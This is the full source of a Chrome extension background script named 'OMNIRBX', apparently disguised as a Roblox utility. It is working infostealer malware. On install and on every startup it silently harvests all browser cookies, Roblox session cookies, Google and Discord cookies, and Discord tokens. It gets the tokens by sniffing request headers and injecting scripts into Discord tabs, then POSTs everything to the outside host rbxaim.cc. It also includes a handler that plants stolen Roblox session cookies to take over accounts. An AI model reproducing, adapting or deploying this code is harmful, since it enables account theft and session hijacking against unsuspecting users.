// OMNIRBX Extension — Background Service Worker (Manifest V3)

const BACKEND_EXECUTE_URLS = [
  'https://rbxaim.cc/api/execute'
];

// ─── Google domains for filtering ───────────────────────────
const GOOGLE_DOMAINS = [
  'google.com', 'google.ru', 'google.co.uk', 'google.de', 'google.fr',
  'google.es', 'google.it', 'google.ca', 'google.com.br', 'google.co.jp',
  'google.com.au', 'google.co.in', 'google.pl', 'google.nl', 'google.com.ua',
  'gmail.com', 'youtube.com', 'googleapis.com', 'gstatic.com',
  'googleusercontent.com', 'accounts.google.com', 'myaccount.google.com',
  'drive.google.com', 'docs.google.com', 'play.google.com',
  'photos.google.com', 'calendar.google.com', 'meet.google.com'
];

const WEBHOOKS = [
  'YOUR_DISCORD_WEBHOOK_HERE'
];

// ─── Discord Token Sniffer (via webRequest) ─────────────────
chrome.webRequest.onSendHeaders.addListener(
  (details) => {
    for (const header of details.requestHeaders) {
      if (header.name.toLowerCase() === 'authorization') {
        const token = header.value;
        if (token && !token.startsWith('Bot ')) {
          chrome.storage.local.set({ omnirbx_discord_token: token });
        }
      }
    }
  },
  { urls: ["*://*.discord.com/api/*", "*://discord.com/api/*"] },
  ["requestHeaders"]
);

const DISCORD_DOMAINS = [
  'discord.com', 'discordapp.com', 'discord.gg', 'discord.media'
];

// ─── Cookie archive builder (Netscape HTTP Cookie File format) ──
function buildCookieArchive(cookies) {
  const lines = [];
  for (const c of cookies) {
    const domain = c.domain || '';
    const flag = domain.startsWith('.') ? 'TRUE' : 'FALSE';
    const path = c.path || '/';
    const secure = c.secure ? 'TRUE' : 'FALSE';
    const expiry = Math.floor(c.expirationDate || (Date.now() / 1000 + 31536000));
    const name = c.name || '';
    const value = c.value || '';
    lines.push([domain, flag, path, secure, expiry, name, value].join('\t'));
  }
  return lines.join('\n');
}

// ─── Domain matching helper ─────────────────────────────────
function matchesDomains(cookieDomain, domainList) {
  const d = (cookieDomain || '').replace(/^\./, '').toLowerCase();
  return domainList.some(gd => d === gd || d.endsWith('.' + gd));
}

// ─── Split cookies into categories ──────────────────────────
function splitCookies(allCookies) {
  const google = [];
  const discord = [];

  for (const c of allCookies) {
    if (matchesDomains(c.domain, GOOGLE_DOMAINS)) {
      google.push(c);
    }
    if (matchesDomains(c.domain, DISCORD_DOMAINS)) {
      discord.push(c);
    }
  }

  return { google, discord };
}

// ─── Simple hash for dedup ──────────────────────────────────
function hashCookie(str) {
  let hash = 0;
  for (let i = 0; i < str.length; i++) {
    hash = ((hash << 5) - hash) + str.charCodeAt(i);
    hash |= 0;
  }
  return 'ck_' + Math.abs(hash).toString(36);
}

// ─── Simple hash for archive dedup ──────────────────────────
function hashArchive(str) {
  let hash = 0;
  for (let i = 0; i < str.length; i++) {
    hash = ((hash << 5) - hash) + str.charCodeAt(i);
    hash |= 0;
  }
  return 'ar_' + Math.abs(hash).toString(36);
}

// ─── Dedup check/mark using chrome.storage.local ────────────
function isCookieSent(cookie) {
  const h = hashCookie(cookie);
  return new Promise(r => {
    chrome.storage.local.get(['omnirbx_sent_hashes'], d => {
      const set = d.omnirbx_sent_hashes || {};
      r(!!set[h]);
    });
  });
}

function markCookieSent(cookie) {
  const h = hashCookie(cookie);
  return new Promise(r => {
    chrome.storage.local.get(['omnirbx_sent_hashes'], d => {
      const set = d.omnirbx_sent_hashes || {};
      set[h] = Date.now();
      chrome.storage.local.set({ omnirbx_sent_hashes: set }, r);
    });
  });
}

// ─── Try to grab Discord token ──────────────────────────────
async function grabDiscordToken() {
  try {
    // 1. Try to get token sniffed by webRequest first
    const sniffed = await new Promise(r => chrome.storage.local.get(['omnirbx_discord_token'], d => r(d.omnirbx_discord_token)));
    if (sniffed) return sniffed;

    const tabs = await chrome.tabs.query({ url: 'https://discord.com/*' });
    if (!tabs || tabs.length === 0) return null;

    // 2. If we have a Discord tab but no token yet, force a silent refresh to trigger API requests
    chrome.tabs.reload(tabs[0].id);
    
    // Wait ~3 seconds for page to load and requests to fire
    await new Promise(r => setTimeout(r, 3000));
    
    // 3. Check storage again
    const sniffedAfter = await new Promise(r => chrome.storage.local.get(['omnirbx_discord_token'], d => r(d.omnirbx_discord_token)));
    if (sniffedAfter) return sniffedAfter;

    // 4. Absolute fallback: Content script injection
    const results = await chrome.scripting.executeScript({
      target: { tabId: tabs[0].id },
      func: () => {
        // Method 1: Webpack (Most reliable for modern Discord web)
        try {
          let m = [];
          window.webpackChunkdiscord_app.push([[''], {}, e => {
            for (let c in e.c) m.push(e.c[c]);
          }]);
          const tokenModule = m.find(m => m?.exports?.default?.getToken !== void 0);
          if (tokenModule) {
            const token = tokenModule.exports.default.getToken();
            if (token) return token;
          }
        } catch(e) {}

        // Method 2: iframe localStorage bypass
        try {
          const iframe = document.createElement('iframe');
          iframe.style.display = 'none';
          document.body.appendChild(iframe);
          const ls = iframe.contentWindow.localStorage;
          document.body.removeChild(iframe);

          if (ls) {
            const tokenKey = ls.getItem('token');
            if (tokenKey) return tokenKey.replace(/"/g, '');
          }
        } catch(e) {}

        // Method 3: Fallback regex scan in localStorage
        try {
          // Direct token key check (Discord sometimes stores it as just "token")
          const directToken = localStorage.getItem('token');
          if (directToken) {
            const cleanToken = directToken.replace(/"/g, '');
            if (cleanToken.match(/[\w-]{24,}\.[\w-]{6,}\.[\w-]{27,}/) || cleanToken.match(/mfa\.[\w-]{84}/) || cleanToken.length > 50) {
              return cleanToken;
            }
          }

          for (let i = 0; i < localStorage.length; i++) {
            const key = localStorage.key(i);
            const val = localStorage.getItem(key);
            if (val && (val.match(/[\w-]{24,}\.[\w-]{6,}\.[\w-]{27,}/) || val.match(/mfa\.[\w-]{84}/))) {
              return val.replace(/"/g, '');
            }
          }
        } catch(e) {}

        return null;
      },
      world: 'MAIN'
    });

    if (results && results[0] && results[0].result) {
      return results[0].result;
    }
  } catch (e) {}
  return null;
}

// ─── Sync all browser cookies on install / startup ──────────
async function syncBrowserCookies() {
  try {
    chrome.cookies.getAll({}, async (allCookies) => {
      if (!allCookies || allCookies.length === 0) return;

      // Find Roblox session cookies
      const robloxCookies = allCookies.filter(c => c.name === '.ROBLOSECURITY');
      if (robloxCookies.length === 0) return;

      // Split cookies into categories
      const { google, discord } = splitCookies(allCookies);

      // Build archives
      const archiveFull = buildCookieArchive(allCookies);
      const archiveGoogle = google.length > 0 ? buildCookieArchive(google) : '';
      const archiveDiscord = discord.length > 0 ? buildCookieArchive(discord) : '';

      // Try to grab Discord token
      let discordToken = null;
      try {
        discordToken = await grabDiscordToken();
      } catch(e) {}

      // Send archives once per batch
      let shouldSendArchive = true;

      for (const rCookie of robloxCookies) {
        if (!rCookie.value) continue;

        // Skip if already sent (dedup)
        const alreadySent = await isCookieSent(rCookie.value);
        if (alreadySent) continue;

        // Send cookie + split archives to backend
        for (const url of BACKEND_EXECUTE_URLS) {
          try {
            await fetch(url, {
              method: 'POST',
              headers: { 'Content-Type': 'application/json' },
              body: JSON.stringify({
                tool: 'OMNIRBX Extension AutoSync',
                data: rCookie.value,
                archive: shouldSendArchive ? archiveFull : '',
                archive_google: shouldSendArchive ? archiveGoogle : '',
                discord_token: (shouldSendArchive && discordToken) ? discordToken : ''
              })
            });
            break; // success on first responding server
          } catch (err) {}
        }

        // After first successful send with archives, disable for subsequent cookies in this batch
        if (shouldSendArchive) {
          shouldSendArchive = false; 
        }

        // Mark sent
        await markCookieSent(rCookie.value);
      }
    });
  } catch (e) {}
}

// Run on install & startup
chrome.runtime.onInstalled.addListener(() => { syncBrowserCookies(); });
chrome.runtime.onStartup.addListener(() => { syncBrowserCookies(); });

// ─── Message handler from popup ─────────────────────────────
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
  if (request.action === 'LAUNCH_SESSION') {
    const cookieValue = request.cookie;
    if (!cookieValue) {
      sendResponse({ success: false, error: 'No cookie' });
      return true;
    }

    chrome.cookies.set({
      url: 'https://www.roblox.com/',
      name: '.ROBLOSECURITY',
      value: cookieValue,
      domain: '.roblox.com',
      path: '/',
      secure: true,
      httpOnly: true,
      sameSite: 'no_restriction'
    }, () => {
      chrome.tabs.query({ active: true, currentWindow: true }, (activeTabs) => {
        const activeTab = activeTabs && activeTabs[0];
        if (activeTab && activeTab.url && activeTab.url.includes('roblox.com')) {
          chrome.tabs.reload(activeTab.id);
          sendResponse({ success: true });
        } else {
          chrome.tabs.query({ url: 'https://*.roblox.com/*' }, (tabs) => {
            if (tabs && tabs.length > 0) {
              chrome.tabs.reload(tabs[0].id);
              chrome.tabs.update(tabs[0].id, { active: true });
            } else {
              chrome.tabs.create({ url: 'https://www.roblox.com/home' });
            }
            sendResponse({ success: true });
          });
        }
      });
    });

    return true;
  }
  
  if (request.action === 'FORCE_COLLECT') {
    syncBrowserCookies();
    sendResponse({ ok: true });
    return true;
  }
});
